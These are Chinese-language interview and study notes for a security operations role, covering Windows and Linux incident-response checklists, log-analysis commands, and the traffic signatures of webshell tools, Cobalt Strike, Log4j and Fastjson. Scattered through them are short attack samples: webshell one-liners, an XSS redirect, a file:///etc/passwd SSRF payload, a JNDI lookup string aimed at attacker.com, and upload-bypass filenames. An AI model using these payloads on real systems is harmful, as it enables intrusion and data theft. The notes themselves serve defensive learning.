安全运营工程师
- aa
- aa
- aa
(高级)级别B 具备一般的监控+处置+研判+溯源+应急能力
不会就说没做过对应的项目,别瞎说,要有逻辑
工作经历,xx年-xx年,xx公司做xx工作(渗透,hvv,驻场,安全值守),接触过的安全设备
应急响应:
https://www.cnblogs.com/guwanghui/p/17696225.html
流量特征:
- https://www.cnblogs.com/guwanghui/p/17696248.html
- https://mp.weixin.qq.com/s?__biz=MzkzODQzNDU5NQ==&mid=2247486319&idx=1&sn=96fb4ea48d885528cae3844479d13de3&chksm=c329835a7d704e00a070fede4c9962a19ceaa5dd5659760d70270828dbd60361c0d378b20d05&mpshare=1&scene=1&srcid=0617lWkPIwZlHxIqlE2XiRpx&sharer_shareinfo=d94fa49faf958fd5bdb89a20d8003f0b&sharer_shareinfo_first=2af9f823c74aa5f7e5d983c0842acc33&exportkey=n_ChQIAhIQrIWwOrPyt1DWC0MvdBOTnBKfAgIE97dBBAEAAAAAAEY0AmDNJIAAAAAOpnltbLcz9gKNyK89dVj07yfapUJURpM8dgQyeat2EmgoGeJ0%2Fq76S97hg7Ze8TDNc6RqWEbls1GR0NATk8XgHF0d2LaoSfZskXd8mghIKcBxXW7yxMdGiW6nXP%2Fo%2B4vOUrJS2CTlY2aFXguPpN9rv7fcXdZEmJ%2FaEVkjf387tchK7664WPVMiSlAh4YieEJrunehVAK1hzzSb2YdJ0%2FZWuiY%2F8hMSvLjG%2Fjqp8sUoH6KJZ4Y%2FqiQomDFEnUTkA9Fkm409dPIRvDwExYqYt5a4H8iqb3XuAh5ntAyE9prxkydbE3e56XNOaxU20Umi7H8CbKATYodmBPldyX48lW5C%2BNMEmddHOgR&acctmode=0&pass_ticket=NsczUPda%2FWTyht0lcC%2BomZxjzKEPK2qZcYVBckeAiL97YITX4LKfYpJIJy%2BvJ5r%2F&wx_header=0#rd
网络安全运行与维护岗位
负责全流程跟进产品功能的开发设计,并根据产品特点与发展情况,动态评估安全风险,提供解决方
案,保障产品可持续运营; 协助相关团队应对、处理涉平台的安全突发或应急事件。
a)综合能力
——对安全行业发展趋势及生态有良好的认知;
——具备优秀的逻辑分析能力、表达能力、文字撰写的能力;
——拥有良好的跨团队协调和推进项目的能力;
——具备安全产品、策略或者安全项目运营所需的专业技术能力;
b)专业知识
——熟悉业界政策/舆情导向;
——熟悉搭建安全、业务联动机制,制定行业规范及应急解决方案流程;
——熟悉产品功能设计、安全运营、安全方案设计等相关流程;
——熟悉并掌握安全基础概念,并具有某一领域一定深度的安全领域知识储备;
c)技术技能
——了解主流的安全技术或产品,如入侵检测、数据防泄漏、WEB安全、大数据安全、
SIEM/SOC等;
——数据分析功底扎实,熟练使用数据分析软件、熟悉SQL、Python等数据处理技能;
——熟练掌握至少一门系统开发或者脚本开发语言,如Shell、Perl、Python、C、C++至
少掌握一门以上;
d)工程实践
——具备安全领域模型的建设,识别安全事件、分析趋势,并推动安全风险收敛能力;
——具备基于业务场景或风险分析,通过推动产品、算法及模型等优化,助力安全和业
务良性发展能力;
——具备根据产品特点与发展情况,动态评估安全风险,提供解决方案能力,保障产品
可持续运营,并对运营效果负责。
- win应急处置方案
-
账号排查
1、查看服务器是否有弱口令,远程管理端口是否对公网开放。
方法1:据实际情况咨询相关服务器管理员。
方法2:通过分析平台查询该主机相关告警,确认是否存在弱口令,是否有互联网IP直接访问远程管理端口。
2、查看服务器是否存在可疑账号、新增账号、隐藏账号、克隆账号。
方法1:打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增/可疑的账号。
方法2:“D盾_web查杀”—工具—克隆账号检测,查看是否有新增/可疑的账号。 -
端口排查
检查端口连接情况,是否有远程连接、可疑连接。
检查方法:
a、使用D盾_web查杀—工具—端口查看。
b、netstat -ano 查看目前的网络连接,定位可疑的网络连接。 -
进程排查
检查方法:
a、开始–运行–输入msinfo32,依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如路径、处理ID、开始时间、文件日期等。
b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。
主要观察以下内容:
没有签名验证信息的进程;
没有描述信息的进程;
进程的属主;
进程的路径是否合法;
CPU或内存资源占用长时间过高的进程。
内存资源查看:Win+R—taskmgr,打开任务管理器查看。 -
启动项排查
检查服务器是否有异常的启动项
检查方法:
a、登录服务器,命令行输入“msinfo32”,打开“系统信息-软件环境-启动程序”进行查看。
b、单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
imjpmig.exe是微软Microsoft输入法编辑器程序
tintsetp.exe是输入法软件相关程序
IMEKRMIG.EXE是微软Microsoft Office套装的一部分
imscinst.exe是微软Microsoft翻译工具的一部分
imscmig.exe MicrosoftIME输入法的组件
ctfmon.exe 文字服务程序
ATIPtaxx.exe是ATI显示卡驱动的一部分,在系统托盘有显示
rfwmain.exe 瑞星防火墙
ravtask.exe瑞星杀软相关程序
c、利用安全软件查看启动项、开机时间管理等。
d、组策略,运行gpedit.msc—windows设置,查看是否有开机启动的脚本。 -
计划任务排查
检查方法:
a、单击【开始】>【控制面板】>【任务计划】,查看计划任务属性,看是否有计划任务的异常文件,有的话便可以发现异常文件的路径。
b、打开 cmd,然后输入at或者schtasks,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。 -
系统日志排查
分析方法:
打开运行(Win+R),输入“eventvwr.msc”,回车运行,打开“事件查看器”。
系统日志默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx安全日志默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx应用程序默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
事件ID 说明 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动的注销 4672 使用超级用户(如管理员)进行登录 4720 创建用户 登录类型 描述 :———————–: :—: 2 交互式登录(Interactive) 3 网络(Network) 4 批处理(Batch) 5 服务(Service) 7 解锁(Unlock) 8 网络明文(NetworkCleartext) 9 新凭证(NewCredentials) 10 远程交互(RemoteInteractive) 11 缓存交互(CachedInteractive) 1、在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”; 2、在事件查看器中,单击“系统”,查看系统日志; 3、在系统日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选分析。
-
Web日志排查
1、查看文件大小
一般被攻击网站的access日志文件会比日常的access日志文件大
2、根据入侵时间确认攻击路径及所利用的漏洞
查看入侵时间前后是否存在异常请求/漏洞攻击
3、漏洞复现
若为漏洞类,则进行漏洞复现验证
若未抓取到账号密码,需向网站负责人索要管理员账号密码,进行登录查找入侵点并验证 -
服务自启动排查
检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型,检查是否有异常服务。 -
Webshell扫描
a、IIS中间件:
打开D盾_web查杀工具 » 扫描全部站点。
b、其它中间件(apache、tomcat、nginx等)
向客户询问web网站具体路径,例如:D:\apache-tomcat-7.0.55,然后进行自定义扫描。
Webshell扫描工具:
D盾_Web查杀:http://www.d99net.net/index.asp
河马webshell查杀:http://www.shellpub.com -
病毒查杀
检查方法:下载相关安全软件,更新最新病毒库,进行全盘扫描。
- linux应急处置方案
- 账号排查
1、查询特权用户,特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
2、查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4、禁用或删除多余及可疑的帐号
若存在异常/可疑的账号,和客户/相关责任人确认后再做以下操作
操作命令 说明 usermod -L user 禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头 userdel user 删除user用户 userdel -r user 将删除user用户,并且将/home目录下的user目录一并删除
- 历史命令排查
查看历史操作命令,检查是否存在异常命令;
history #查看历史命令history | grep XXX #XXX为要搜索的异常/敏感命令
常见敏感操作命令示例:
命令介绍 命令示例 备注 查看发行版 cat /etc/*-release 查看版本查找exploit提权 查看内核版本 uname -a 查看版本查找exploit提权 编译exp gcc xx.c 确认xx.c是否为expploit 添加用户 useradd 确认添加用户是否为客户添加 下载木马文件等 wget http://www.xxx.com 放入云沙箱检测是否为木马病毒文件
CMD中执行 netstat -ano 查看目前的网
络连接,根据netstat定位出PID,再通过
命令tasklist /svc | findstr PID 定位进程
使用netstat 网络连接命令,分析可疑端口、IP、PID等
netstat -antlp|more
查看下pid所对应的进程文件路径
ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应的pid 号)
-
进程排查
使用ps命令,分析进程
ps aux #查看异常进程
ps aux | grep pid #查看路径
top #查看资源占用情况 -
启动项排查
启动项文件:
more /etc/rc.local/etc/rc.d/rc[0~6].dls -l /etc/rc.d/rc3.d/
-
定时任务排查
重点关注以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/*
/etc/anacrontab
/var/spool/anacron/*
小技巧:more /etc/cron.daily/* 查看目录下所有文件 -
服务排查
1、查询已安装的服务:
RPM包安装的服务chkconfig –list 查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务系统在3与5级别下的启动项
中文环境chkconfig –list | grep “3:启用|5:启用”
英文环境chkconfig –list | grep “3:on|5:on”
级别3:命令行模式
级别5:GUI(图形桌面 模式) -
系统日志排查
日志默认存放位置:/var/log/查看日志配置情况:more /etc/rsyslog.conf
日志文件 说明 /var/log/cron 记录了系统定时任务相关的日志 /var/log/cups 记录打印信息的日志 /var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 /var/log/mailog 记录邮件信息 /var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 /var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看,last -f /var/log/btmp /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 /var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 /var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 /var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
日志分析技巧:
1、定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
搜索爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
2、搜索登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
搜索登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
3、搜索新增用户日志:
grep "useradd" /var/log/secure
4、搜索删除用户的日志:
grep "userdel" /var/log/secure
- Webshell扫描
1:河马webshell查杀(linux版):http://www.shellpub.com
注意:不要将本软件放置到web目录下,不要在web目录下运行软件。
32位系统:hm-linux-32.tgz
64位系统:hm-linux-amd64.tgz
1:mkdir starso 新建一个文件夹,将hm文件上传到starso文件夹中。
2:tar -zxvf hm-linux-amd64.tgz解压hm文件
3:./hm scan 网站web目录(网站web目录需向客户确认)查杀shell
4:cat result.csv扫描完成之后结果会保存为result.csv文件,查看可疑文件。
5:检查完成后删除创建的文件夹starso及里面的相关文件。
- 病毒查杀
安装EDR进行全面的安全扫描和病毒查杀。
dll木马文件如何定位:
procexp进程管理工具查看树状进程关系列表
win查看自启动项:
msconfig
linux查看自启动项:
systemctl
内网提权方法:win(烂土豆,内核漏洞提权),linux(脏牛漏洞,SUID提权,SUDO提权,计划任务,NFS提权,数据库提权)
Redis未授权的利用方式:
写计划任务,写SSH公钥,写webshell
frp流量特征:
一般流量中带有Version、Arch、User、Privile
ge_key等字段
加密流量中带有一个 0x17)的头部特征
黄金票据和白银票据区别:黄金可通过伪造TGT获取任意服务ST可请求所有服务,白银只能请求ST中写的服务
SpringBoot有哪些漏洞:
远程代码执行,env敏感信息,xxe任意文件读取
中间件解析漏洞介绍下:
IIS(PUT漏洞,短文件名猜解,远程代码执行,解析漏洞),Apache(解析漏洞,目录遍历),Nginx(文件解析,目录遍历,CRLF注入,目录穿越),Tomcat(任意文件写入,弱口令,后台getshell,session反序列化,远程代码执行,war后门文件部署),jBoss(反序列化漏洞,war后门文件部署),WebLogic(反序列化漏洞,SSRF,任意文件上传,war后门文件部署)
1、SQL注入的几个类型、如何getshell、提权、绕过waf方法,二次注入原理是什么?堆叠注入原理是什么?宽字节原理是什么?
宽字节原理是编码问题,前端和后端编码不一致导致的一个字符过滤的问题
web应用程序对用户输入数据的合法性没有判断,参数用户可控,参数带入数据库查询,攻击者通过构造不同的sql语句来实现对数据库的任意操作。宽字节注入 编码转换,堆叠注入 多语句间用分号隔开,时间盲注 sleep,布尔盲注count,联合查询注入union OrderBy,报错型注入updatexml extractvalue floor,二次注入。过滤危险字符,使用预编译语句。
2、CSRF、XSS、SSRF的区别,危害是什么?3、文件上传如何绕过waf,你知道文件上传白名单怎么打吗?
CSRF是跨站请求伪造,由客户端发起,利用是网站对用户浏览器的信任,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF是服务器端请求伪造,由服务器发起,服务器对用户提供的可控URL过于信任,导致攻击者可以 以此为跳板 攻击内网或其他服务器。
XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。
SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者能够以此为跳板攻击内网或其他服务器。
CSRF(跨站请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者能够以此为跳板攻击内网或其他服务器。
xss dom型和xss反射型很相似,都是一次性的,区别是 反射型 不会存储到后端服务器这边,是通过url的构造产生的问题,数据从前端传到后端,再从后端发到前端上,通过浏览器执行,这样的一个过程,dom型 不经过后端,直接通过前端的语法传到dom节点,产生的xss问题。
文件上传白名单绕过方法:00截断(针对旧版本PHP、低版本中间件),数组绕过(针对特殊的后端代码),特殊字符与解析漏洞(针对Nginx、IIS、Apache中间件),配合文件包含漏洞,重命名机制的缺陷
3、XSS和SSRF配合使用
XSS是前端触发器,SSRF是后端破坏者。
Web应用允许用户将页面内容导出为PDF,这通常通过HTML渲染引擎实现。通过XSS控制渲染引擎,可以让服务器下载并读取内网敏感文件。
用户输入处写入包含非法URI的HTML
<img src="file:///etc/passwd"> 或 <iframe src="http://localhost:8080">
应用服务器的PDF导出功能渲染该内容。
渲染引擎尝试访问该内网资源。
导出的PDF中包含了内部文件的内容。
利用XSS触发SSRF。用户个人资料处存在存储型XSS,用户设置中存在SSRF漏洞,在个人简介中注入XSS Payload
<script>document.location='http://internal-app.local'</script>
管理员浏览该用户个人资料时,浏览器执行恶意脚本。浏览器代表管理员向服务器的SSRF点发起请求。服务器解析此请求并向内网地址发起请求
4、对于中间件漏洞,如tomcat、nginx、weblogic、apache你知道哪些?
Weblogic弱口令漏洞 /console
Weblogic任意文件上传CVE-2018-2894漏洞 /ws_utc/config.do
Weblogic XMLDecoder 反序列化漏洞CVE-2017-10271 /wls-wsat/CoordinatorPortType
WebLogic T3反序列化漏洞 t3协议造成
Weblogic目录穿越 绕过用户名密码验证直接进入到后台,进行war包部署
tomcat put方法任意文件上传(CVE-2017-12615) 抓个包,修改一下数据包改成put,写入一个jsp文件
tomcat 远程代码执行(CVE-2019-0232)
Tomcat后台弱口令上传war包,tomcat管理弱口令页面getshell /manager/html
nginx解析漏洞 xino.jpg/xxx.php
nginx空字节任意代码执行漏洞 xxx.jpg%00.php
nginx文件名逻辑漏洞CVE-2013-4547 .php前用空格和零截断
apache解析漏洞(CVE-2017-15715)phar、php、phtml、结尾的文件,会被apache当作php解析
apache HTTPD 换行解析漏洞(CVE-2017-15715)1.php\x0a -> 1.php
apache SSI远程命令执行漏洞
5、OSI 七层模型是什么?
物理层 · 数据链路层 · 网络层 · 传输层 · 会话层 · 表示层 · 应用层.
6、常见高危端口号有哪些?
RDP 3389,SMB 445,SSH 22,FTP 21,MySQL 3306,Redis 6379,mssql 1433,Telnet 23,RPC 135-139,VNC 5900-5902,Oracle 1521 ,Web服务/管理端口 8081/8080/80,LDAP 389,https://support.huawei.com/enterprise/zh/doc/EDOC1100297669/fc44a7df
7、redis 如何getshell?
8、给你一个登陆口如何渗透?
8、给你一个小程序你要如何打,思路是什么?
9、shiro 漏洞是什么?流量特征是什么?550和721区别?
10、fastjson漏洞是什么?流量特征什么?不出网怎么打?不同版本如何绕过呀?说一些例子。
12、struts2漏洞流量特征是什么?
msf的流量特征是什么
默认使用4444端口作为反向连接端口
连接建立后,MSF 会发送一个特定的 4 字节数据
14、可以说一下cs流量特征是什么?
证书与加密特征:
证书信息:默认或修改过的SSL证书可能包含Cobalt、TeamServer等关键字,自签名证书指纹可能被安全厂商标记为已知恶意。
Staging URI特征:初始加载阶段(Staging)
使用伪装成合法资源的路径名:
/jquery-3.3.1.min.js
/pixel.gif
这些文件名虽然看似正常,但实际用于下载Beacon载荷。
Beacon心跳包特征:
心跳间隔与 Jitter:Beacon客户端定期向C2发送心跳包,具有固定的时间间隔(如每 60 秒)和一定的抖动(Jitter),增加检测难度。
通信模式:
支持多种协议,包括HTTP(S)、DNS、SMB和TCP。
数据传输通常经过编码或加密处理,难以直接读取内容。
SMB Beacon特征:
命名管道通信:
SMB Beacon常使用IPC$管道进行进程间通信,这在正常的网络环境中不常见。
SMB协议下的异常文件操作和共享访问行为。
DNS Beacon特征:
子域名模式:DNS请求中出现特定格式的子域名,如:
xxxx.bidomain.com
高频率的DNS请求指向同一域,但子域名不断变化。
HTTP/HTTPS通信特征:
请求头与响应结构:
包含非标准的HTTP头部信息,或者头部信息过于简单。
响应体数据通常是Base64编码或XOR加密的指令集。
URL结构:URL路径设计成模仿正常网站资源,但实际上用于命令控制。
其他特征:
User-Agent 字符串:可能使用非典型的UA字符串,或者频繁更换以逃避检测。
会话保持与迁移:攻击者可能会通过进程注入或远程线程创建来维持持久性,并尝试迁移到更稳定的系统进程中执行命令。
内存马有哪几种类型,如何查杀内存马
servlet-api型(通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马)。
字节码增强型(通过java的instrumentation动态修改已有代码,从而实现命令执行等功能)。
查看检查服务器web日志,查看有无可疑的 web 访问日志,比如说 filter 或者listener 类型的内存马,
会有大量url请求路径相同但是附带不同参数的记录,或者页面本身并不存在但是返回 200的请求,通过查找返回 200的urll路径对比 web 目录下是否真实文件,如不存在大概率是内存马,
如果Web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,中间件日志查看是否有可疑的报错。
根据注入时间和方法,业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过 webshell,
排查框架漏洞,反序列化漏洞。查看是否有类似哥斯拉、冰蝎特征的url清求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本差不多
安全设备面对大量攻击的时候要如何处置
封禁攻击源IP 流量清洗 限制访问频率 临时封禁特定地区的IP
shiro反序列化原理+特征:
Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能,对于任何一个应用程序,Shiro 都可以提供全面的安全管理服务。在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行
特征1cookie中含有rememberMe字段
17、在使用安全设备如何识别误报和真实攻击?
验证告警来源与情报关联
深入分析事件详情与上下文
基于“攻击链”进行关联分析
23、看过哪些安全设备
安恒大数据AiLPHA
25、用过哪些态势感知
奇安信 网神态势感知与安全运营平台(NGSOC)
阿里云 云盾态势感知
深信服 安全感知平台(SIP)
安恒 AiLPHA大数据态势感知平台 阿尔法
26、用过哪些日志工具
360星图 ELK Stack(数据采集 (Logstash/Beats)) Graylog LogDNA
https://www.eet-china.com/mp/a410628.html
27、给日志分析攻击
统计攻击ip出现的次数和频率可能是扫描器,暴力破解
根据ip线索筛查相关日志
根据攻击时间筛查相关日志
数据库命令执行函数
MSSQL:xp_cmdshell sp_OACreate
Oracle:DBMS_JAVA
MySQL:UDF
告警层面的事件以前处理过哪些?这个问的就是出现事件后的上报处置流程
国家网络安全事件应急预案-网络信息安全事件可分为七类四个等级
告警分析-剧本处置-验证恢复-复盘总结
实例:
核心业务系统中断或硬件设备故障
迅速定位故障节点,启用备用设备或线路-防火墙故障,导入备份配置并替换设备-交换机故障,切换备用设备并恢复网络访问-上级网络故障,立即上报并协助恢复
门户网站遭篡改或破坏
立即断网并停止系统运行-隔离被攻击设备,保护现场-恢复系统数据与功能-追查攻击源并报警
外网遭遇黑客入侵
断网隔离-防火墙封堵攻击源-保存日志记录-上报主管部门-修复后恢复上线
外网遭遇拒绝服务攻击
防火墙封堵攻击IP-调整DNS解析进行分流-保存日志-必要时断网并报警-联合相关部门协同处置
外部电源中断
切换备用供电线路-查明断电原因-短时停电使用UPS-长时停电按序关闭设备
wps文档中心未授权访问-弱口令-edge浏览器静默扫描磁盘
发现的漏洞,设备抓到的漏洞,安全设备上的流量特征
wps文档中心未授权访问 open/v6/api/etcd/operate
弱口令
edge浏览器静默扫描磁盘
做没做过互联网资产测绘
传统方法:通过访谈,收集防火墙映射情况,手工梳理,黑盒测试,开源情报社区,fofa,鹰图,爱企查,社工库
发展到现在,借助EASM平台:
资产精准监控-资产统一纳管-内网资产安全管理-漏洞深度检测与响应-敏感数据全网监控-资产全景视图
告警降噪
噪声来源:公网扫描-内部服务-重复告警
解决方法:告警分级-去重-抑制-白名单过滤-全流量整合
总结:平台能够筛选出真正需要人工处理的、有威胁的安全事件,把最高优先级的告警凸显出来,减少无效告警和误报
webshell 连接工具的特征
菜刀特征:
1.UserAgent为百度爬虫
2.请求体中存在eval,base64等特征字符
3.请求体中传递的payload为base64编码,请求包可以使用base64编码进行解码
4.请求体中执行结果响应为明文 X@Y 结果 X@Y
5.静态PHP:
6.静态ASP: <% eval request(“hacker”)%>
7.静态ASP.NET: <%@ Page Language=“Javascript”%><% eval(Request.Item[“hacker”],“unsafe”);%>
蚁剑特征:
1.每个请求体中都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头,且存在base64等字符
2.返回包的结果格式为 随机数 结果 随机数
3.静态php使用assert、eval执行
4.静态asp使用eval执行
5.静态jsp使用Java类加载(ClassLoader)会带有base64encode、decode的特征
冰蝎特征:
1.默认为rebeyond即密钥为e45e329feb5d925b
2.密文的长度为16的整数倍
3.Content-Type字段(弱特征)通常是Content-type: Application/x-www-form-urlencoded
4.Accept字段(弱特征)通常是Accept: application/json, text/javascript, /; q=0.01
哥斯拉特征:
1.请求中都包含Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2.响应中都包含Cache-Control: no-store, no-cache, must-revalidate
3.cookie后面带了分号
4.整个响应包的结构体征为:md5前十六位+base64+md5后十六位
5.@session_start(); - 开启一个会话。
6.@set_time_limit(0); - 设置脚本执行时间为无限。
7.@error_reporting(0); - 关闭所有错误报告。
webshell 处置实例和思路
同事反馈运营中心监测到区域某用户网站疑似被植入webshell
是一个非常标准的冰蝎
看一下上传时间,中午,正常黑客谁这样?
日志取了出来,根据jsp马的文件名来过滤
只有post相关的操作,因此怀疑是通过/visualizedPlatform/这个路径进行上传的
过滤visualizedPlatform相关的日志,看到大量的webshell扫描日志
后面就都是上传成功以后的操作了
根据日志里面的分析,推测是通过/visualizedPlatform/这个路径上传进来
户沟通了一下,问一下有没有相关的路径
用户直接扔过来一个 /visualizedPlatform/logui.htm
分析了一下日志,在被上传webshell前期有test登录成功的日志
看了一下日志,是通过test用户上传webshell的
和用户沟通了一下,用户反馈是昨天有等保测评公司进行渗透测试上传的webshell
没有及时删除,一场乌龙事件
回过头再看看webshell里面的密码是等保测评公司名简写
WebShell执行系统命令的函数
PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()
WebShell编码和解码的函数
eval(base64_decode(’encoded_string’));
WebShell文件操作的函数
PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
ASP: FileSystemObject
WebShell网络操作的函数
PHP: fsockopen(), curl_exec(), file_get_contents(‘http://…’)
ASP: WinHttp.WinHttpRequest
命令WebShell查找
find ./ type f -name “*.aspx” | xargs grep “eval(”
其实这个把html目录打包之后拿去D盾扫描会发现四个php全给扫描出来了
log4j 漏洞特征 流量特征 攻击成功特征 漏洞利用无回显示如何判断成功 不出网如何利用
Log4j 漏洞的核心在于“日志记录+JNDI处理”。判定成功的关键在于追踪受害机器是否主动发起过 LDAP/RMI 的外部通信
Log4j2 在处理日志信息时,如果允许记录用户输入的内容,且该内容包含特定格式的字符串(Lookup功能),就会触发 JNDI注入,进而执行远程代码
请求包特征:Payload 包含 jndi 和相关的协议名(ldap, rmi, dns, ldaps 等)
请求包格式:${jndi:ldap://…}、${jndi:rmi://…}、${jndi:dns://…}
响应包特征:
服务端尝试连接外部 LDAP 服务器的信息
响应体中发现异常错误信息
内部网络,可能会收到 DNS 超时请求
告警攻击成功如何判断
方向判断:
攻击者主动扫描,一般为未打补丁的尝试
针对内网资源,且确实产生了流量,需要重点关注
流量确认:
LDAP/RMI 连接:查看告警发生后,受害机器是否向恶意域名或恶意 IP 发起了主动的外连
响应时间:攻击成功通常会有一定延迟
验证payload:尝试分析告警包内容,看是否存在恶意的类名或者包含复杂的 jndi 嵌套
DNS外带
特征:流量中出现 dnslog.cn 或攻击者搭建的恶意 DNS 服务器域名(例如 xxx.dnslog.cn)的查询
DNS 请求流:
受害机器收到 ${jndi:dns://://attacker.com}
机器解析 ://attacker.com 的域名,发送 DNS 查询
如何看dns外带
搜索 dns 协议包中,包含 ${jndi 和常用 DNSLog 域名的请求
关注 nslookup、dig 等高频的域名查询流量
fastjsion 漏洞特征 流量特征 攻击成功特征 漏洞利用无回显示如何判断成功 不出网如何利用用
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。
漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
特征1根据返回包判断,json数据里有恶意代码片段,@type 指定恶意的类
特征2包含危险协议:ldap rmi dnslog盲打
不出网特征1:Payload 包含 bytecodes: 编码后的恶意字节码。
不出网特征2:TemplatesImpl相关类
变种攻击特征:json中java.lang.Class预先加载动态类
黑白名单绕过技术:利用缓存机制-双写类名-特殊类继承如java.lang.AutoCloseable子类
Redis未授权访问导致XMR挖矿
https://www.cnblogs.com/yuzly/p/11663822.html
https://mp.weixin.qq.com/s?__biz=MzI4MzkxOTE2Ng==&mid=2247485662&idx=1&sn=628808aae6cbb72f8ea99f1340ac7833&chksm=ea4a1e830fe9521735651d1331b78ff813247422262efb52e39a8d273665668caa197f334e71&mpshare=1&scene=1&srcid=0511RVN9KdnbCKqwSZ8KRGaz&sharer_shareinfo=c5886fb522c335bdbd155799e8f77ae5&sharer_shareinfo_first=c5886fb522c335bdbd155799e8f77ae5&exportkey=n_ChQIAhIQd7T8qwjYyPnYSe5nWoPDZBKfAgIE97dBBAEAAAAAAERTOZKZPckAAAAOpnltbLcz9gKNyK89dVj0KnFUSMGdBsWECxtf0iK83XwonakDWVYcv8ygPiCOkFq5lhRtBRVg6tsLJfgiTELVbmIQlQf3Oi72EUfk0So7aKzM81KETnzqkhmAAZyS6%2BuALjtQJVVxddaAwWr6mHwxLR1WwbHaFMzPg8C9i308AwDhe8PKj1%2Fve9d38szHQ%2FkXFNdKAxyjmpKvhYczHhULRzdI5zpnTFLzEN3Xv3EtIPIe5I6OMcHe%2FXhpWZ3vrgL8nAfY8g1g0TH0%2BWEwjS%2FrWCtN6ZXpRmKHENeFoQ1jJTrFQxMtbmdcdyLNYQaz3%2B%2BmK0cL1JzbPR0d5vQG2uafY72zURCMt4vR&acctmode=0&pass_ticket=pqFvbidd%2B8E%2B5sJQKEW9ut5zSs8Rza9dekU07Cr%2F3ZgWL8d0dDeo4ienXfebPsWx&wx_header=0#rd
事件发现: 客户服务器CPU持续100%,系统响应极慢。
条件允许,暂时将受感染服务器从外网隔离,或者在防火墙(如 iptables 或 云安全组)中封锁 Redis 端口(默认 6379)以及已知的矿池通信端口。临时关闭 Redis:在确认不影响核心业务的前提下,先关停 Redis 服务,切断攻击入口。
分析排查:
进程分析: 使用 top 命令发现名为 redis-cli 或类似随机字符的进程占用大量资源。
